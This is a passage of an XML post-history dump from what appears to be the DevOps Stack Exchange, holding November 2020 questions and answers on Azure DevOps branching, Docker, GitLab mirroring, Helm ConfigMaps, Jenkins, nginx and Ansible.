settings and I will enforce a [branching policy](https://docs.microsoft.com/en-us/azure/devops/repos/git/branch-policies?view=azure-devops) of a minimum number of reviewers for a pull-request to the master branch.&#xD;&#xA;&#xD;&#xA;Regarding best practices for branching strategies in git, the book I mentioned above is a great first step.  There are many standard branching strategies, a couple examples are:&#xD;&#xA;1. [gitflow](https://www.atlassian.com/git/tutorials/comparing-workflows/gitflow-workflow) which is great for teams that are new to git and has some awesome [tools](https://danielkummer.github.io/git-flow-cheatsheet/) and many tools incorporate the gitflow pattern, like [sourcetree](https://blog.sourcetreeapp.com/2012/08/01/smart-branching-with-sourcetree-and-git-flow/).&#xD;&#xA;2. [trunk-based development](https://www.toptal.com/software/trunk-based-development-git-flow) a very lean development process.&#xD;&#xA;&#xD;&#xA;Regarding your original question, I suspect that creating a new Azure DevOps project to store all of those unsightly extra fork repos would just add another level of complexity to your work.  You would need to enforce security for both projects, manage users and permissions for the new project, etc.  In this case subtraction is likely better than addition, I suggest removing forking and using a good branching strategy for your project (if possible). It would simplify your life significantly.&#xD;&#xA;&#xD;&#xA;Please let me know if this did not answer your question or if you have any further questions." ContentLicense="CC BY-SA 4.0" />
  <row Id="39060" PostHistoryTypeId="2" PostId="12726" RevisionGUID="157a5146-5223-4ff2-9cdf-7371917333a9" CreationDate="2020-11-07T08:33:07.010" UserId="6733" Text="Docker doesn't recommend running an apt-get upgrade and dist-upgrade on a docker image as many of the &quot;essential&quot; packages from the partent image cannot upgrade inside an unprevileged container. take a look at the [Docker best practices][1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/develop/develop-images/dockerfile_best-practices/" ContentLicense="CC BY-SA 4.0" />
  <row Id="39067" PostHistoryTypeId="2" PostId="12729" RevisionGUID="3060a006-c093-4fce-bf4a-f61ec1db724a" CreationDate="2020-11-08T01:20:23.677" UserId="8208" Text="Got an email from gitlab stating that repository mirroring (github) paused due an error:&#xD;&#xA;&#xD;&#xA;    Fetching remote upstream failed: fatal: Unable to create '/var/opt/gitlab/git-data/repositories/@hashed/4a/5c/4a5c32b8f00402007b6f12377a501f6a0fa5a0131e961e95c7ce90633e4b92ee.git/./objects/info/commit-graphs/commit-graph-chain.lock': File exists.&#xD;&#xA;&#xD;&#xA;Updating from repository settings showing the same output. Is there a way to resolve this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39068" PostHistoryTypeId="1" PostId="12729" RevisionGUID="3060a006-c093-4fce-bf4a-f61ec1db724a" CreationDate="2020-11-08T01:20:23.677" UserId="8208" Text="GitLab mirror glitch" ContentLicense="CC BY-SA 4.0" />
  <row Id="39069" PostHistoryTypeId="3" PostId="12729" RevisionGUID="3060a006-c093-4fce-bf4a-f61ec1db724a" CreationDate="2020-11-08T01:20:23.677" UserId="8208" Text="&lt;gitlab&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39070" PostHistoryTypeId="4" PostId="12729" RevisionGUID="7e4c9fef-5511-4c87-a5ef-09c1a28320cd" CreationDate="2020-11-08T03:25:10.093" UserId="8208" Comment="edited title" Text="GitLab mirror error/glitch" ContentLicense="CC BY-SA 4.0" />
  <row Id="39071" PostHistoryTypeId="2" PostId="12730" RevisionGUID="a0bd6b45-ae21-4e45-b748-ee1c25ee26f5" CreationDate="2020-11-08T05:43:16.887" UserId="24641" Text="I am not sure this tab appears 100% of the time, you still have to merge some cases locally, but you can merge *some* PRs without any extensions in latest UI update.&#xD;&#xA;&#xD;&#xA;[![merge tool][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/kO3CZ.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="39072" PostHistoryTypeId="2" PostId="12731" RevisionGUID="db76e2bf-054a-44ee-95f6-d33d4dcd76a0" CreationDate="2020-11-08T10:20:26.690" UserId="24644" Text="what I'm trying to achieve is running a Linux(ubuntu LST) container inside a windows server 2019 OS.&#xD;&#xA;The problem is that the windows OS runs as an AWS instance.&#xD;&#xA;&#xD;&#xA;There have been problem for me trying to achieve this and I've been reading somewhat different opinions on the internet regarding whether or not it is possible. Some say it will be possible on a .metal instance which is bare metal. Currently I've been trying running it on a regular t3 instance with has virtualization type HVM.&#xD;&#xA;&#xD;&#xA;To sum up my questions are:&#xD;&#xA;&#xD;&#xA;1. Is running a linux container on windows aws instance possible?&#xD;&#xA;2. If yes, how?&#xD;&#xA;3. If not, will it be possible on a bare metal instance?&#xD;&#xA;&#xD;&#xA;Please keep in mind that I need the container to run in a Windows environment due to multiple tasks the the OS needs to achieve (and I don't want multiple instances)" ContentLicense="CC BY-SA 4.0" />
  <row Id="39073" PostHistoryTypeId="1" PostId="12731" RevisionGUID="db76e2bf-054a-44ee-95f6-d33d4dcd76a0" CreationDate="2020-11-08T10:20:26.690" UserId="24644" Text="Is running linux container on windows aws instance possible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39074" PostHistoryTypeId="3" PostId="12731" RevisionGUID="db76e2bf-054a-44ee-95f6-d33d4dcd76a0" CreationDate="2020-11-08T10:20:26.690" UserId="24644" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;linux&gt;&lt;windows&gt;&lt;virtualization&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39076" PostHistoryTypeId="5" PostId="12702" RevisionGUID="32bb751a-c8f4-44b0-8024-cac71c87f3aa" CreationDate="2020-11-08T14:13:15.377" UserId="23904" Comment="improved formatting and minor corrections" Text="I am using Dynamic inventory to get the latest Ec2 IP addresses.&#xD;&#xA;&#xD;&#xA;I have parameter files under host_vars folder. Each parameter file will have placements for ENI's attached to a particular EC2 machine.&#xD;&#xA;&#xD;&#xA;for Ex: EC2 machine name is as1nsp13 and 3 ENi's attached to this machine with ip addresses of 10.101.44.73,10.101.42.73,10.101.16.73 so parameter file look like below:&#xD;&#xA;&#xD;&#xA;```yml&#xD;&#xA;Interfaces:&#xD;&#xA;  - {Name: &quot;eth0&quot;, IP: &quot;10.101.44.73&quot;, Prefix: 23}&#xD;&#xA;  - {Name: &quot;eth1&quot;, IP: &quot;10.101.42.73&quot;, Prefix: 23}&#xD;&#xA;  - {Name: &quot;eth2&quot;, IP: &quot;10.101.16.73&quot;, Prefix: 20}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;My Question is how do i get these 3 ENI IP's and update the parameter file with latest ENI ip's? Is that possible using dynamic inventory concept? or do i need to se AWS CLI and some shell script to update the parameter file?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39077" PostHistoryTypeId="24" PostId="12702" RevisionGUID="32bb751a-c8f4-44b0-8024-cac71c87f3aa" CreationDate="2020-11-08T14:13:15.377" Comment="Proposed by 23904 approved by 40 edit id of 1295" ContentLicense="CC BY-SA 4.0" />
  <row Id="39078" PostHistoryTypeId="2" PostId="12732" RevisionGUID="7bf2ff51-18e4-4a46-a133-4884fc8a2950" CreationDate="2020-11-08T15:00:10.047" UserId="24647" Text="I have built a simple pipeline to build my solution triggered by commits to the master branch using the Azure DevOps Pipelines.&#xD;&#xA;I have a problem with the post build copy commands failing and returning errors&#xD;&#xA;&#xD;&#xA;**my post build copy command:**&#xD;&#xA;&#xD;&#xA;    copy /Y &quot;$(TargetDir)$(TargetFileName)&quot; &quot;$(MY_PATH)$(TargetFileName)&quot;&#xD;&#xA;&#xD;&#xA;**I get the following errors:**&#xD;&#xA;&#xD;&#xA;    PostBuildEvent:&#xD;&#xA;      copy /Y &quot;D:\a\1\s\{some_path\file.dll}&quot; &quot;D:\a\1\s\BuildBin\{file.dll}&quot;    &#xD;&#xA;    The system cannot find the path specified.&#xD;&#xA;                  0 file(s) copied.&#xD;&#xA;&#xD;&#xA;the `MY_PATH` environmental variable is defined in the pipeline variables and using a &quot;CmdLine&quot; `echo %MY_PATH%` in the .yaml it echos the proper path in the console:&#xD;&#xA;&#xD;&#xA;        Starting: CmdLine&#xD;&#xA;    ==============================================================================&#xD;&#xA;    Task         : Command line&#xD;&#xA;    Description  : Run a command line script using Bash on Linux and macOS and cmd.exe on Windows&#xD;&#xA;    Version      : 2.177.3&#xD;&#xA;    Author       : Microsoft Corporation&#xD;&#xA;    Help         : https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/command-line&#xD;&#xA;    ==============================================================================&#xD;&#xA;    Generating script.&#xD;&#xA;    Script contents:&#xD;&#xA;    echo %MY_PATH%&#xD;&#xA;    ========================== Starting Command Output ===========================&#xD;&#xA;    &quot;C:\windows\system32\cmd.exe&quot; /D /E:ON /V:OFF /S /C &quot;CALL &quot;D:\a\_temp\1db7603c-e3c0-4e32-924f-c5b1fc2cf96e.cmd&quot;&quot;&#xD;&#xA;    D:\a\1\s\BuildBin\&#xD;&#xA;    Finishing: CmdLine&#xD;&#xA;&#xD;&#xA;I have defined the `MY_PATH` to be `D:\a\1\s\BuildBin\` as I witnessed that this is the solution folder,&#xD;&#xA;the paths in the error are correct.&#xD;&#xA;&#xD;&#xA;Also I have tried running a script to create the BuildBin folder as I thought the folder does not exists but its not the reason as I run the following in the .yaml:&#xD;&#xA;&#xD;&#xA;    steps:&#xD;&#xA;    - script: echo mkdir D:\a\1\s\BuildBin&#xD;&#xA;&#xD;&#xA;I cant find any info on the topic any where, just [this StackOverflow question][1] and it was not helpful.&#xD;&#xA;&#xD;&#xA;I'm running the job in Windows Windows Server 2019 environment.&#xD;&#xA;**Needless to say the solution builds on my pc with no problems, it also builds fine in the pipeline, its just the copy that fails.**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/64018782/azure-pipelines-post-build-event-copy-command-failure&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39079" PostHistoryTypeId="1" PostId="12732" RevisionGUID="7bf2ff51-18e4-4a46-a133-4884fc8a2950" CreationDate="2020-11-08T15:00:10.047" UserId="24647" Text="Azure DevOps build pipeline error on copy in post build event" ContentLicense="CC BY-SA 4.0" />
  <row Id="39080" PostHistoryTypeId="3" PostId="12732" RevisionGUID="7bf2ff51-18e4-4a46-a133-4884fc8a2950" CreationDate="2020-11-08T15:00:10.047" UserId="24647" Text="&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39081" PostHistoryTypeId="2" PostId="12733" RevisionGUID="85846b64-2667-4ab7-b2f7-537d8115a869" CreationDate="2020-11-08T20:03:56.343" UserId="18007" Text="I have JenkinsFile where I'm trying to get the hash for my current branch. I saw this post: https://stackoverflow.com/questions/9110478/how-to-find-the-hash-of-branch-in-git&#xD;&#xA;&#xD;&#xA;but when I tried to run `def BranchHash = sh &quot;git rev-parse ${BRANCH-NAME}` I got: `fatal: ambiguous argument 'HEAD': unknown revision or path not in the working tree`&#xD;&#xA;&#xD;&#xA;I'm looking for the branch hash, and not the last commit" ContentLicense="CC BY-SA 4.0" />
  <row Id="39082" PostHistoryTypeId="1" PostId="12733" RevisionGUID="85846b64-2667-4ab7-b2f7-537d8115a869" CreationDate="2020-11-08T20:03:56.343" UserId="18007" Text="How to get branch hash using git command" ContentLicense="CC BY-SA 4.0" />
  <row Id="39083" PostHistoryTypeId="3" PostId="12733" RevisionGUID="85846b64-2667-4ab7-b2f7-537d8115a869" CreationDate="2020-11-08T20:03:56.343" UserId="18007" Text="&lt;git&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39084" PostHistoryTypeId="50" PostId="12558" RevisionGUID="b0d3c2b4-f7e3-47f6-932f-65a2becf655a" CreationDate="2020-11-09T02:03:20.470" UserId="-1" />
  <row Id="39085" PostHistoryTypeId="5" PostId="12729" RevisionGUID="0094ae2c-7c8d-482d-a46f-6978abffaad7" CreationDate="2020-11-09T05:24:04.480" UserId="8208" Comment="added 110 characters in body" Text="Got an email from gitlab stating that repository mirroring (github) paused due an error:&#xD;&#xA;&#xD;&#xA;    Fetching remote upstream failed: fatal: Unable to create '/var/opt/gitlab/git-data/repositories/@hashed/4a/5c/4a5c32b8f00402007b6f12377a501f6a0fa5a0131e961e95c7ce90633e4b92ee.git/./objects/info/commit-graphs/commit-graph-chain.lock': File exists.&#xD;&#xA;&#xD;&#xA;Updating from repository settings showing the same output. Is there a way to resolve this?&#xD;&#xA;&#xD;&#xA;Found the topic from Apr 21st (?) on GitLab forums: https://forum.gitlab.com/t/pull-mirroring-failed/36656" ContentLicense="CC BY-SA 4.0" />
  <row Id="39086" PostHistoryTypeId="2" PostId="12734" RevisionGUID="cf4869fd-6953-44d0-a55b-a357b02304e2" CreationDate="2020-11-09T09:19:29.540" UserId="24616" Text="I have a couple of deployments in Kubernetes packaged using Helm. Both the deployments are different but they share the same config map.  &#xD;&#xA;&#xD;&#xA;When performing installation via Helm the first deployment is successful but the second deployment fails with the below error.&#xD;&#xA;&#xD;&#xA;&gt; **Error: rendered manifests contain a resource that already exists. Unable to continue with install: ConfigMap &quot;appconfig&quot; in namespace&#xD;&#xA;&gt; &quot;testnamespace&quot; exists and cannot be imported into the current&#xD;&#xA;&gt; release: invalid ownership metadata; annotation validation error: key&#xD;&#xA;&gt; &quot;meta.helm.sh/release-name&quot; must equal &quot;app2&quot;: current value is&#xD;&#xA;&gt; &quot;app2&quot;**" ContentLicense="CC BY-SA 4.0" />
  <row Id="39087" PostHistoryTypeId="1" PostId="12734" RevisionGUID="cf4869fd-6953-44d0-a55b-a357b02304e2" CreationDate="2020-11-09T09:19:29.540" UserId="24616" Text="Helm Installation fails with shared config maps" ContentLicense="CC BY-SA 4.0" />
  <row Id="39088" PostHistoryTypeId="3" PostId="12734" RevisionGUID="cf4869fd-6953-44d0-a55b-a357b02304e2" CreationDate="2020-11-09T09:19:29.540" UserId="24616" Text="&lt;kubernetes&gt;&lt;helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39090" PostHistoryTypeId="2" PostId="12735" RevisionGUID="8d989e21-a5f3-4d18-9d5d-5251097b5424" CreationDate="2020-11-10T01:12:31.237" UserId="24668" Text="```&#xD;&#xA;git show -s --format=&quot;%H&quot; &lt;HEAD or Branch Name&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;`-s` supressess the diff output&#xD;&#xA;&#xD;&#xA;`--format=&quot;%H&quot;` specifies that only the hash should be shown.&#xD;&#xA;&#xD;&#xA;See `man git-show` for more details." ContentLicense="CC BY-SA 4.0" />
  <row Id="39091" PostHistoryTypeId="2" PostId="12736" RevisionGUID="135d499c-ea2b-456f-86b5-fb63ca6691e7" CreationDate="2020-11-10T08:09:43.330" UserId="12821" Text="You do not need to use `rewrite` for your case, since you want to append `_plugin/kibana` to **any routes**.&#xD;&#xA;&#xD;&#xA;Assuming the nginx config is for `http://origin.com/`:&#xD;&#xA;&#xD;&#xA;    server {&#xD;&#xA;        listen 80;&#xD;&#xA;        server_name origin.com;&#xD;&#xA;        location / {&#xD;&#xA;            proxy_set_header X-Forwared-Proto $scheme;&#xD;&#xA;&#xD;&#xA;            # http://origin.com/req/1/2 will go to http://target.com/_plugin/kibana/req/1/2&#xD;&#xA;            proxy_pass http://target.com/_plugin/kibana;&#xD;&#xA;    &#xD;&#xA;        }&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="39097" PostHistoryTypeId="2" PostId="12738" RevisionGUID="c8abe713-9ea8-41c3-b4bc-9c2cd6e40447" CreationDate="2020-11-10T19:31:49.200" UserId="24678" Text="I'm trying to use Terraform to setup a blue/green Jenkins deployment. The idea is to setup a green infrastructure for testing, and when that is good, promote it as the blue node to be used for production. So far I have these steps&#xD;&#xA;&#xD;&#xA; - Setup green infrastructure, which creates a Route53 URL, e.g., jenkins1.mycompany.com&#xD;&#xA; - Test green infrastructure&#xD;&#xA; - When satisfied, move the Route53 URL production URL to point to the above UR, so jenkins.mycompany.com --&gt; jenkins1.mycompany.com&#xD;&#xA;&#xD;&#xA;The next time we need to create a new green infrastructure, we do similar steps, except the Route53 URLs are done differently.&#xD;&#xA;&#xD;&#xA; - Setup green infrastructure, which creates a Route53 URL, e.g., jenkins0.mycompany.com&#xD;&#xA; - Test green infrastructure&#xD;&#xA; - When satisfied, move the Route53 URL production URL to point to the above UR, so jenkins.mycompany.com --&gt; jenkins0.mycompany.com&#xD;&#xA;&#xD;&#xA;IOW, we flip-flop between the jenkins0.mycompany.com and jenkins1.mycompany.com URLs. Is this a sound approach?&#xD;&#xA;&#xD;&#xA;When setting up the green infra, I do&#xD;&#xA;&#xD;&#xA;  - Create a snapshot of the blue volume&#xD;&#xA;  - Create a volume from the snapshot&#xD;&#xA;  - Create an EC2 instance with the Jenkins Docker image, and mount the volume&#xD;&#xA;  - Create a Route53 -&gt; ALB -&gt; target group -&gt; EC2 infrastructure&#xD;&#xA;&#xD;&#xA;Good approach? Is there a better one?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39098" PostHistoryTypeId="1" PostId="12738" RevisionGUID="c8abe713-9ea8-41c3-b4bc-9c2cd6e40447" CreationDate="2020-11-10T19:31:49.200" UserId="24678" Text="Need advice to setting up a Jenkins blue/green infrastructure, from a high level?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39099" PostHistoryTypeId="3" PostId="12738" RevisionGUID="c8abe713-9ea8-41c3-b4bc-9c2cd6e40447" CreationDate="2020-11-10T19:31:49.200" UserId="24678" Text="&lt;jenkins&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39100" PostHistoryTypeId="2" PostId="12739" RevisionGUID="1c698ae3-583c-473f-8387-dd61e5d273b2" CreationDate="2020-11-10T21:48:53.243" UserId="22743" Text="Couple of possible solutions:&#xD;&#xA;&#xD;&#xA; 1. Control the configmap from a third chart and add the third chart as a dependency in both the charts. This will duplicate the secret and can cause a skew in the values being used both the charts since if they have independent release cycles&#xD;&#xA; 2. Create the configmap in one namespace and refer to it using an external reference. You can see several examples of such at https://github.com/helm/charts/search?q=existingSecret&amp;type=code&#xD;&#xA;&#xD;&#xA;I personally prefer option 1 since there is explicit dependency specification and gives the ability to deploy the charts individually" ContentLicense="CC BY-SA 4.0" />
  <row Id="39104" PostHistoryTypeId="2" PostId="12741" RevisionGUID="2bae0d6c-46c4-4820-bb81-ad18e76e1702" CreationDate="2020-11-11T02:14:43.847" UserId="24682" Text="We are trying to move from GitHub to GitLab.&#xD;&#xA;&#xD;&#xA;Our app is a monolith built on the MEAN stack.&#xD;&#xA;&#xD;&#xA;Currently, we have &gt; 50 Heroku apps tied to the &quot;deploy&quot; branch of our Github repo.&#xD;&#xA;&#xD;&#xA;When we push to the deploy branch, Heroku triggers a build and once the build succeeds, Heroku deploys it to all of &gt;50 Heroku instances.&#xD;&#xA;&#xD;&#xA;I am looking for recommendations on how to achieve this same (or similar) behavior once we move our repo from GitHub to GitLab.&#xD;&#xA;&#xD;&#xA;Heroku doesn't have a first-class integration with GitLab as it does with GitHub.&#xD;&#xA;&#xD;&#xA;I have researched GitLab Ci/CD pipelines and their examples and scoured the Interwebs for similar implementations and haven't found anything matching our requirements.&#xD;&#xA;&#xD;&#xA;TIA for your recommendations.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39105" PostHistoryTypeId="1" PostId="12741" RevisionGUID="2bae0d6c-46c4-4820-bb81-ad18e76e1702" CreationDate="2020-11-11T02:14:43.847" UserId="24682" Text="GitLab repo when pushing to deploy branch automatically build and deploy to multiple Heroku apps" ContentLicense="CC BY-SA 4.0" />
  <row Id="39106" PostHistoryTypeId="3" PostId="12741" RevisionGUID="2bae0d6c-46c4-4820-bb81-ad18e76e1702" CreationDate="2020-11-11T02:14:43.847" UserId="24682" Text="&lt;gitlab&gt;&lt;deployment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39107" PostHistoryTypeId="2" PostId="12742" RevisionGUID="43479883-a35e-406b-a589-1e5a6ae5a17d" CreationDate="2020-11-11T02:24:07.823" UserId="24678" Text="I'm trying to write a script that creates a Docker image from a Jenkins image, that is, the first line of my Dockerfile is...&#xD;&#xA;&#xD;&#xA;    FROM jenkins/jenkins:2.249.3&#xD;&#xA;&#xD;&#xA;However I wanna be smart and write a script that gets the latest Jenkins stable version and `sed` that into my Dockerfile, like this&#xD;&#xA;&#xD;&#xA;    Dockerfile:&#xD;&#xA;    FROM jenkins/jenkins:JENKINS_LATEST_STABLE_VER&#xD;&#xA;&#xD;&#xA;    $ export JENKINS_LATEST_STABLE_VER=`some_api_call`&#xD;&#xA;    $ sed -i &quot;s/JENKINS_LATEST_STABLE_VER/$JENKINS_LATEST_STABLE_VER/g&quot; Dockerfile&#xD;&#xA;    $ docker build ...&#xD;&#xA;&#xD;&#xA;What is &quot;some_api_call&quot; ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39108" PostHistoryTypeId="1" PostId="12742" RevisionGUID="43479883-a35e-406b-a589-1e5a6ae5a17d" CreationDate="2020-11-11T02:24:07.823" UserId="24678" Text="How can I find out the latest stable Jenkins version via API call?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39109" PostHistoryTypeId="3" PostId="12742" RevisionGUID="43479883-a35e-406b-a589-1e5a6ae5a17d" CreationDate="2020-11-11T02:24:07.823" UserId="24678" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39110" PostHistoryTypeId="2" PostId="12743" RevisionGUID="310cbd3a-b3c7-42bd-9d65-dcafc395da10" CreationDate="2020-11-11T02:41:50.807" UserId="16819" Text="I'm preparing for Ansible certification, and I decided that `ansible-doc -s` may be useful to speed up creation of playbooks.  It dumps a snippet of configuration of the requested module, with all options and comments describing them, like so:&#xD;&#xA;&#xD;&#xA;    $ansible-doc -s file&#xD;&#xA;&#xD;&#xA;    - name: Manage files and file properties&#xD;&#xA;      file:&#xD;&#xA;          access_time:           # This parameter indicates the time the file's access time should be set to. Should be `preserve' when no modification is required,&#xD;&#xA;                                   `YYYYMMDDHHMM.SS' when using default time format, or `now'. Default is `None' meaning that `preserve' is&#xD;&#xA;                                   the default for `state=[file,directory,link,hard]' and `now' is default for `state=touch'.&#xD;&#xA;          access_time_format:    # When used with `access_time', indicates the time format that must be used. Based on default Python format (see time.strftime doc).&#xD;&#xA;          attributes:            # The attributes the resulting file or directory should have. To get supported flags look at the man page for `chattr' on the target&#xD;&#xA;                                   system. This string should contain the attributes in the same order as the one displayed by `lsattr'. The&#xD;&#xA;    (...)&#xD;&#xA;&#xD;&#xA;I then learn that I can easily insert that into a file on `vim`, using something like `:r! ansible-doc -s file`.  Except that, when I do that, the file gets weirdly formatted:&#xD;&#xA;&#xD;&#xA;    - name: Manage files and file properties&#xD;&#xA;      file:&#xD;&#xA;          access_time:           # This parameter indicates the time the file's&#xD;&#xA;                                   access time&#xD;&#xA;                                   should be set to.&#xD;&#xA;                                   Should be&#xD;&#xA;                                   `preserve' when&#xD;&#xA;                                   no modification&#xD;&#xA;                                   is required,&#xD;&#xA;    (...)&#xD;&#xA;&#xD;&#xA;If I was to fix that formatting, I'd lose time instead of saving it.&#xD;&#xA;&#xD;&#xA;I have noticed that it is not a `vim` thing; if I pipe the output of `ansible-doc` or redirect it to a file, the same happens.  I tried setting `PAGER=cat`, to not avail; it respects that environment variable and replaces `less` with `cat`, but still changes the formatting.&#xD;&#xA;&#xD;&#xA;Apparently, whenever `ansible-doc` sees a non-tty stdout, it *uglifies* the output.  Anybody knows how to fix that?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39111" PostHistoryTypeId="1" PostId="12743" RevisionGUID="310cbd3a-b3c7-42bd-9d65-dcafc395da10" CreationDate="2020-11-11T02:41:50.807" UserId="16819" Text="Redirected `ansible-doc -s` output gets weirdly formatted" ContentLicense="CC BY-SA 4.0" />
  <row Id="39112" PostHistoryTypeId="3" PostId="12743" RevisionGUID="310cbd3a-b3c7-42bd-9d65-dcafc395da10" CreationDate="2020-11-11T02:41:50.807" UserId="16819" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39113" PostHistoryTypeId="2" PostId="12744" RevisionGUID="70770ccf-61e2-401e-82c5-e537481480cb" CreationDate="2020-11-11T05:57:34.430" UserId="6733" Text="I am trying to create an image for my angular application for running unit and e2e tests. I started from the ubuntu image and then installed the other components. My dockerfile has the following statements.&#xD;&#xA;&#xD;&#xA;    FROM ubuntu:focal-20201008&#xD;&#xA;    &#xD;&#xA;    RUN apt update &amp;&amp; apt install -y \&#xD;&#xA;        nginx \&#xD;&#xA;        nodejs \&#xD;&#xA;        npm \&#xD;&#xA;        &amp;&amp; npm install -g @angular/cli@9.1.12 \&#xD;&#xA;        &amp;&amp; rm -rf /var/lib/apt/lists/*&#xD;&#xA;&#xD;&#xA;When I build the image using &#xD;&#xA;&#xD;&#xA;    sridhar@sridhar-HP-Laptop-15-H:~/abui/$ docker build --tag abui .&#xD;&#xA;&#xD;&#xA;I get the following message (last few lines pasted here)&#xD;&#xA;&#xD;&#xA;    npm WARN deprecated request@2.88.2: request has been deprecated, see https://github.com/request/request/issues/3142&#xD;&#xA;    npm WARN deprecated har-validator@5.1.5: this library is no longer supported&#xD;&#xA;    /usr/local/bin/ng -&gt; /usr/local/lib/node_modules/@angular/cli/bin/ng&#xD;&#xA;    &#xD;&#xA;    &gt; @angular/cli@9.1.12 postinstall /usr/local/lib/node_modules/@angular/cli&#xD;&#xA;    &gt; node ./bin/postinstall/script.js&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    The command '/bin/sh -c apt update &amp;&amp; apt install -y     nginx     nodejs     npm     &amp;&amp; npm install -g @angular/cli@9.1.12     &amp;&amp; rm -rf /var/lib/apt/lists/*' returned a non-zero code: 1&#xD;&#xA;&#xD;&#xA;P.S. I don't want to start from the node docker image as of now" ContentLicense="CC BY-SA 4.0" />
  <row Id="39114" PostHistoryTypeId="1" PostId="12744" RevisionGUID="70770ccf-61e2-401e-82c5-e537481480cb" CreationDate="2020-11-11T05:57:34.430" UserId="6733" Text="RUN fails while installing Angular on Ubuntu Image" ContentLicense="CC BY-SA 4.0" />
  <row Id="39115" PostHistoryTypeId="3" PostId="12744" RevisionGUID="70770ccf-61e2-401e-82c5-e537481480cb" CreationDate="2020-11-11T05:57:34.430" UserId="6733" Text="&lt;docker&gt;&lt;node.js&gt;&lt;npm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39118" PostHistoryTypeId="50" PostId="5762" RevisionGUID="d3be70d3-7ab7-4174-bc8a-1a1b37035a6c" CreationDate="2020-11-11T19:02:05.217" UserId="-1" />
  <row Id="39122" PostHistoryTypeId="2" PostId="12746" RevisionGUID="a48e8e1e-3ee4-4f9d-90a8-0ddb98eedce4" CreationDate="2020-11-12T06:52:01.413" UserId="24583" Text="I have created [azure devops][1] with a few organizations/projects in it. Do I need to scale or replicate it across different datacenters so all the developers across the globe can access it? Any references appreciated.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.opstrainerz.com/azure-devops-training" ContentLicense="CC BY-SA 4.0" />
  <row Id="39123" PostHistoryTypeId="1" PostId="12746" RevisionGUID="a48e8e1e-3ee4-4f9d-90a8-0ddb98eedce4" CreationDate="2020-11-12T06:52:01.413" UserId="24583" Text="do I scale devops" ContentLicense="CC BY-SA 4.0" />
  <row Id="39124" PostHistoryTypeId="3" PostId="12746" RevisionGUID="a48e8e1e-3ee4-4f9d-90a8-0ddb98eedce4" CreationDate="2020-11-12T06:52:01.413" UserId="24583" Text="&lt;azure-devops&gt;&lt;azure&gt;&lt;autoscaling&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39125" PostHistoryTypeId="5" PostId="1235" RevisionGUID="0680d889-5c71-40ec-a851-958290f57af1" CreationDate="2020-11-12T09:00:59.040" UserId="354" Comment="fix minor typo" Text="I am working on a project and we are trying to bake immutable images on containers as IaC. These images can have J2EE, .NET or Python apps on it. All OS patches should be applied to this image frequently and app updates should be also updated on this ready to run images. &#xD;&#xA;Having said that, an option we discuss includes Terraform for provisioning, Packer for building images. Many internet resources deploy additionally Ansible, Chef or Puppet into this mix. My question why Packer is not enough to cover baking images why would I need to consider Ansible/Chef/Puppet additionally? What can't Packer do and others can for these requirements? &#xD;&#xA;Thanks for your time and help..." ContentLicense="CC BY-SA 4.0" />
  <row Id="39127" PostHistoryTypeId="2" PostId="12747" RevisionGUID="5fde2543-9a4f-4920-9f22-351e8fa03618" CreationDate="2020-11-12T14:05:29.147" UserId="24705" Text="I keep seeing this pattern around, and I haven't been able to figure out _why_ people do it. I figure there's some dusty tome somewhere explaining why, or maybe just my google skills are off today, but can anyone tell me _why_ so many people have `workflows` at version 2?&#xD;&#xA;&#xD;&#xA;e.g. the example [here][1], excerpt below&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;version: 2.1&#xD;&#xA;&#xD;&#xA;executors:&#xD;&#xA;  my-executor:&#xD;&#xA;    docker:&#xD;&#xA;      - image: buildpack-deps:jessie&#xD;&#xA;    working_directory: /tmp&#xD;&#xA;&#xD;&#xA;jobs:&#xD;&#xA;  flow:&#xD;&#xA;    executor: my-executor&#xD;&#xA;    steps:&#xD;&#xA;      - ...&#xD;&#xA;&#xD;&#xA;  downstream:&#xD;&#xA;    executor: my-executor&#xD;&#xA;    steps:&#xD;&#xA;      - ...&#xD;&#xA;&#xD;&#xA;workflows:&#xD;&#xA;  version: 2&#xD;&#xA;&#xD;&#xA;  btd:&#xD;&#xA;    jobs:&#xD;&#xA;      - flow&#xD;&#xA;      - downstream:&#xD;&#xA;          requires:&#xD;&#xA;            - flow&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I figure I should probably be cargo-culting this in until I know _why_ people do it, but I dislike doing that without any understanding :)&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;  [1]: 